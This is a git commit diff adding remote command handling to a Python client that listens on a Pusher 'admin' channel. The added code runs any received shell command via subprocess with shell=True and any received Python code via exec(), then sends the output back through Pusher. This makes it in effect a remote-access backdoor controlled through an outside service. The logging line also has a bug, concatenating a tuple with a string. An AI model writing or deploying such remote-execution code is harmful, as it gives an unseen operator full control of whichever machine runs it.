Added sending and receiving commands and logs
This commit is contained in:
@@ -1,12 +1,13 @@
|
||||
from env import *
|
||||
import pusher
|
||||
import pysher
|
||||
import json
|
||||
import io
|
||||
from contextlib import redirect_stdout
|
||||
import subprocess
|
||||
|
||||
|
||||
client_id = int()
|
||||
|
||||
|
||||
client = pusher.Pusher(
|
||||
app_id=app_id,
|
||||
key=key,
|
||||
@@ -17,6 +18,34 @@ client = pusher.Pusher(
|
||||
receiver = pysher.Pusher(key=key, cluster=cluster)
|
||||
|
||||
|
||||
def on_command(data):
|
||||
global client_id
|
||||
print("Shell command received")
|
||||
try:
|
||||
shell_logs = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
|
||||
close_fds=True, text=True).communicate()
|
||||
except Exception as e:
|
||||
shell_logs = str(e)
|
||||
client.trigger('client-' + str(client_id), 'logs', shell_logs)
|
||||
print("Shell logs sent on client-" + str(client_id))
|
||||
print("Shell logs: " + shell_logs)
|
||||
|
||||
|
||||
def on_python(data):
|
||||
global client_id
|
||||
print("Python code received")
|
||||
f = io.StringIO()
|
||||
with redirect_stdout(f):
|
||||
try:
|
||||
exec(data)
|
||||
except Exception as e:
|
||||
print(e)
|
||||
python_logs = f.getvalue().strip()
|
||||
client.trigger('client-' + str(client_id), 'logs', python_logs)
|
||||
print("Python logs sent on client-" + str(client_id))
|
||||
print(python_logs)
|
||||
|
||||
|
||||
def handle_connection_to_server(connection):
|
||||
global client_id
|
||||
print("Connected to server")
|
||||
@@ -28,6 +57,8 @@ def handle_connection_to_server(connection):
|
||||
channel = receiver.subscribe('admin-' + client_id)
|
||||
print("Client id: " + client_id)
|
||||
channel.bind('connection_from_admin', lambda _: print("Connection from admin"))
|
||||
channel.bind('command', on_command)
|
||||
channel.bind('python', on_python)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
|
||||
Reference in New Issue
Block a user